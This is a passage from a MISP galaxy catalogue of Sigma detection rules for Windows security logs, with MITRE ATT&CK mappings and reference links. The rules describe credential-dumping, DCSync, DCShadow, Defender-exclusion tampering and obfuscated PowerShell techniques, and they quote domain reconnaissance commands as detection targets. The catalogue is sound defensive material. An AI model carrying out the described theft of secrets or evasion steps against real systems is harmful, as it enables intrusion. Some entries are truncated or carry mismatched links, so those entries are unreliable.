<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml</a></td>
</tr>
</tbody>
</table>

Possible Impacket SecretDump Remote Activity

Detect AD credential dumping using impacket secredump HKTL

The tag is: *misp-galaxy:sigma-rules="Possible Impacket SecretDump Remote Activity"

View relationships graph

Possible Impacket SecretDump Remote Activity has relationships with:


- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

**Table 8369. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html">https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html</a></td>
</tr>
</tbody>
</table>
ADCS Certificate Template Configuration Vulnerability with Risky EKU

Detects certificate creation with template allowing risk permission subject and risky EKU

The tag is: `misp-galaxy:sigma-rules="ADCS Certificate Template Configuration Vulnerability with Risky EKU"`

Possible DC Shadow Attack

Detects DCShadow via create new SPN

The tag is: `misp-galaxy:sigma-rules="Possible DC Shadow Attack"`

View relationships graph

Possible DC Shadow Attack has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207"` with `estimative-language:likelihood-probability="almost-certain"`

Windows Defender Exclusion Deleted

Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions

The tag is: `misp-galaxy:sigma-rules="Windows Defender Exclusion Deleted"`
Windows Defender Exclusion Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8372. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_deleted.yml</a></td>
</tr>
</tbody>
</table>

DPAPI Domain Backup Key Extraction

Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers

The tag is: misp-galaxy:sigma-rules="DPAPI Domain Backup Key Extraction"

DPAPI Domain Backup Key Extraction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

Table 8373. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html">https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml</a></td>
</tr>
</tbody>
</table>

T1047 Wmiprvse Wbemcomn DLL Hijack

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network for a WMI DLL Hijack scenario.

The tag is: misp-galaxy:sigma-rules="T1047 Wmiprvse Wbemcomn DLL Hijack"

T1047 Wmiprvse Wbemcomn DLL Hijack has relationships with:

Unauthorized System Time Modification

Detect scenarios where a potentially unauthorized application or user is modifying the system time.

The tag is: misp-galaxy:sigma-rules="Unauthorized System Time Modification"

NetNTLM Downgrade Attack

Detects NetNTLM downgrade attack

The tag is: misp-galaxy:sigma-rules="NetNTLM Downgrade Attack"
VSSAudit Security Event Source Registration

Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.

The tag is: `misp-galaxy:sigma-rules="VSSAudit Security Event Source Registration"`

View relationships graph

VSSAudit Security Event Source Registration has relationships with:


Password Change on Directory Service Restore Mode (DSRM) Account

The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.

The tag is: `misp-galaxy:sigma-rules="Password Change on Directory Service Restore Mode (DSRM) Account"`

View relationships graph

Password Change on Directory Service Restore Mode (DSRM) Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"
Service Registry Key Read Access Request

Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.

The tag is: `misp-galaxy:sigma-rules="Service Registry Key Read Access Request"`

View relationships graph

Service Registry Key Read Access Request has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"` with estimative-language:likelihood-probability="almost-certain"

Table 8379. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/">https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation STDIN+ Launcher - Security

Detects Obfuscated use of stdin to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - Security"`

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
Table 8380. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml</a></td>
</tr>
</tbody>
</table>

**Failed Code Integrity Checks**

Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.

The tag is: *misp-galaxy:sigma-rules="Failed Code Integrity Checks"*

View relationships graph

Failed Code Integrity Checks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

Table 8381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Powerview Add-DomainObjectAcl DCSync AD Extend Right**

Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer

The tag is: *misp-galaxy:sigma-rules="Powerview Add-DomainObjectAcl DCSync AD Extend Right"*

View relationships graph

Powerview Add-DomainObjectAcl DCSync AD Extend Right has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 8382. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/menasec1/status/1111556090137903104">https://twitter.com/menasec1/status/1111556090137903104</a></td>
</tr>
<tr>
<td><a href="https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf">https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf</a></td>
</tr>
</tbody>
</table>
Suspicious Outbound Kerberos Connection - Security

Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

The tag is: `misp-galaxy:sigma-rules="Suspicious Outbound Kerberos Connection - Security"`

View relationships graph

Suspicious Outbound Kerberos Connection - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 8383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></td>
</tr>
</tbody>
</table>

Suspicious Remote Logon with Explicit Credentials

Detects suspicious processes logging on with explicit credentials

The tag is: `misp-galaxy:sigma-rules="Suspicious Remote Logon with Explicit Credentials"`

View relationships graph

Suspicious Remote Logon with Explicit Credentials has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 8384. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view">https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view</a></td>
</tr>
</tbody>
</table>

Important Windows Event Auditing Disabled

Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.
The tag is: misp-galaxy:sigma-rules="Important Windows Event Auditing Disabled"

View relationships graph

Important Windows Event Auditing Disabled has relationships with:


Table 8385. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.google.com/presentation/d/1dkrldTtIN3La-OjWtkWJb4hVkJv6vSeSMBFBERs6R8zA/edit">https://docs.google.com/presentation/d/1dkrldTtIN3La-OjWtkWJb4hVkJv6vSeSMBFBERs6R8zA/edit</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation CLIP+ Launcher - Security

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - Security"

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
</tbody>
</table>

Reconnaissance Activity

Detects activity as "net user administrator /domain" and "net group domain admins /domain"

The tag is: misp-galaxy:sigma-rules="Reconnaissance Activity"

View relationships graph
Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 8387. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Invoke-Obfuscation Via Use Clip - Security**

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - Security"*

View relationships graph

Invoke-Obfuscation Via Use Clip - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml</a></td>
</tr>
</tbody>
</table>

**Windows Pcap Drivers**

Detects Windows Pcap driver installation based on a list of associated .sys files.

The tag is: *misp-galaxy:sigma-rules="Windows Pcap Drivers"*

View relationships graph

Windows Pcap Drivers has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
Remote Task Creation via ATSVC Named Pipe

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

The tag is: misp-galaxy:sigma-rules="Remote Task Creation via ATSVC Named Pipe"

View relationships graph

Remote Task Creation via ATSVC Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Replay Attack Detected

Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client

The tag is: misp-galaxy:sigma-rules="Replay Attack Detected"

View relationships graph

Replay Attack Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
Sysmon Channel Reference Deletion

Potential threat actor tampering with Sysmon manifest and eventually disabling it

The tag is: `misp-galaxy:sigma-rules="Sysmon Channel Reference Deletion"`

View relationships graph

Sysmon Channel Reference Deletion has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Table 8392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SecurityJosh/status/1283027365770276866">https://twitter.com/SecurityJosh/status/1283027365770276866</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8">https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Flangvik/status/1283054508084473861">https://twitter.com/Flangvik/status/1283054508084473861</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml</a></td>
</tr>
</tbody>
</table>

Credential Dumping Tools Service Execution - Security

Detects well-known credential dumping tools execution via service execution events

The tag is: `misp-galaxy:sigma-rules="Credential Dumping Tools Service Execution - Security"`

View relationships graph

Credential Dumping Tools Service Execution - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"` with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

**DPAPI Domain Master Key Backup Attempt**

Detects anyone attempting a backup for the DPAPI Master Key. This event gets generated at the source and not the Domain Controller.

The tag is: *misp-galaxy: sigma-rules="DPAPI Domain Master Key Backup Attempt"*

**View relationships graph**

DPAPI Domain Master Key Backup Attempt has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

**SCM Database Handle Failure**

Detects non-system users failing to get a handle of the SCM database.

The tag is: *misp-galaxy: sigma-rules="SCM Database Handle Failure"*

**View relationships graph**

SCM Database Handle Failure has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security"`

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8396. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml

New or Renamed User Account with '$' in Attribute 'SamAccountName'

Detects possible bypass EDR and SIEM via abnormal user account name.

The tag is: `misp-galaxy:sigma-rules="New or Renamed User Account with '$' in Attribute 'SamAccountName'"`

View relationships graph

New or Renamed User Account with '$' in Attribute 'SamAccountName' has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 8397. Table References

Links
Windows Network Access Suspicious desktop.ini Action

Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder’s content (i.e. renaming files) without changing them on disk.

The tag is: misp-galaxy:sigma-rules="Windows Network Access Suspicious desktop.ini Action"

View relationships graph

Windows Network Access Suspicious desktop.ini Action has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 8398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Desktopini+a+as+a+postexploitation+tool/25912/">https://isc.sans.edu/forums/diary/Desktopini+a+as+a+postexploitation+tool/25912/</a></td>
</tr>
</tbody>
</table>

Tap Driver Installation - Security

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques

The tag is: misp-galaxy:sigma-rules="Tap Driver Installation - Security"

View relationships graph

Tap Driver Installation - Security has relationships with:


Table 8399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PetitPotam Suspicious Kerberos TGT Request

Detect suspicious Kerberos TGT requests. Once an attacker obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.

The tag is: `misp-galaxy:sigma-rules="PetitPotam Suspicious Kerberos TGT Request"`

View relationships graph

PetitPotam Suspicious Kerberos TGT Request has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"` with estimative-language:likelihood-probability="almost-certain"

Table 8400. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/topotam/PetitPotam">https://github.com/topotam/PetitPotam</a></td>
</tr>
<tr>
<td><a href="https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml">https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/">https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml</a></td>
</tr>
</tbody>
</table>

Potential Privileged System Service Operation - SeLoadDriverPrivilege

Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.

The tag is: `misp-galaxy:sigma-rules="Potential Privileged System Service Operation - SeLoadDriverPrivilege"`

View relationships graph

Potential Privileged System Service Operation - SeLoadDriverPrivilege has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with
### Table 8401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/">https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/</a></td>
</tr>
</tbody>
</table>

### Invoke-Obfuscation VAR+ Launcher - Security

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - Security"`

View relationships graph

Invoke-Obfuscation VAR+ Launcher - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with `estimative-language:likelihood-probability="almost-certain"`

### Windows Defender Exclusion Registery Key - Write Access Requested

Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.

The tag is: `misp-galaxy:sigma-rules="Windows Defender Exclusion Registery Key - Write Access Requested"`

View relationships graph

Windows Defender Exclusion Registery Key - Write Access Requested has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with
Meterpreter or Cobalt Strike Getsystem Service Installation - Security

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

The tag is: misp-galaxy:sigma-rules="Meterpreter or Cobalt Strike Getsystem Service Installation - Security"

View relationships graph

Meterpreter or Cobalt Strike Getsystem Service Installation - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

Suspicious Kerberos RC4 Ticket Encryption

Detects service ticket requests using RC4 encryption type

The tag is: misp-galaxy:sigma-rules="Suspicious Kerberos RC4 Ticket Encryption"

View relationships graph

Suspicious Kerberos RC4 Ticket Encryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-
Windows Defender Exclusion List Modified

Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.

The tag is: `misp-galaxy:sigma-rules="Windows Defender Exclusion List Modified"`

View relationships graph

Windows Defender Exclusion List Modified has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Suspicious Access to Sensitive File Extensions

Detects known sensitive file extensions accessed on a network share

The tag is: `misp-galaxy:sigma-rules="Suspicious Access to Sensitive File Extensions"`

View relationships graph

Suspicious Access to Sensitive File Extensions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"` with estimative-language:likelihood-probability="almost-certain"
External Disk Drive Or USB Storage Device

Detects external diskdrives or plugged in USB devices, EventID 6416 on Windows 10 or later

The tag is: `misp-galaxy:sigma-rules="External Disk Drive Or USB Storage Device"`

View relationships graph

External Disk Drive Or USB Storage Device has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"` with estimative-language:likelihood-probability="almost-certain"

Table 8408. Table References

Links


Add or Remove Computer from DC

Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.

The tag is: `misp-galaxy:sigma-rules="Add or Remove Computer from DC"

View relationships graph

Add or Remove Computer from DC has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207"` with estimative-language:likelihood-probability="almost-certain"

Table 8409. Table References

Links

https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md


SCM Database Privileged Operation

Detects non-system users performing privileged operation on the SCM database

The tag is: `misp-galaxy:sigma-rules="SCM Database Privileged Operation"`

View relationships graph

SCM Database Privileged Operation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"

Table 8410. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Suspicious Windows ANONYMOUS LOGON Local Account Created

Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.

The tag is: `misp-galaxy:sigma-rules="Suspicious Windows ANONYMOUS LOGON Local Account Created"`

View relationships graph

Suspicious Windows ANONYMOUS LOGON Local Account Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8411. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1189469425482829824">https://twitter.com/SBousseaden/status/1189469425482829824</a></td>
<td></td>
</tr>
</tbody>
</table>
Protected Storage Service Access

Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers

The tag is: misp-galaxy:sigma-rules="Protected Storage Service Access"

View relationships graph

Protected Storage Service Access has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 8412. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html">https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Scripts Installed as Services - Security

Detects powershell script installed as a Service

The tag is: misp-galaxy:sigma-rules="PowerShell Scripts Installed as Services - Security"

View relationships graph

PowerShell Scripts Installed as Services - Security has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 8413. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml</a></td>
</tr>
</tbody>
</table>

Denied Access To Remote Desktop

This event is generated when an authenticated user who is not allowed to log on remotely attempts
to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.

The tag is: `misp-galaxy:sigma-rules="Denied Access To Remote Desktop"`

**View relationships graph**

Denied Access To Remote Desktop has relationships with:


**Table 8414. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml</a></td>
</tr>
</tbody>
</table>

**HybridConnectionManager Service Installation**

Rule to detect the Hybrid Connection Manager service installation.

The tag is: `misp-galaxy:sigma-rules="HybridConnectionManager Service Installation"

**View relationships graph**

HybridConnectionManager Service Installation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"` with `estimative-language:likelihood-probability="almost-certain"

**Table 8415. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Cyb3rWard0g/status/1381642789369286662">https://twitter.com/Cyb3rWard0g/status/1381642789369286662</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation RUNDLL LAUNCHER - Security**

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - Security"

**View relationships graph**

Invoke-Obfuscation RUNDLL LAUNCHER - Security has relationships with:

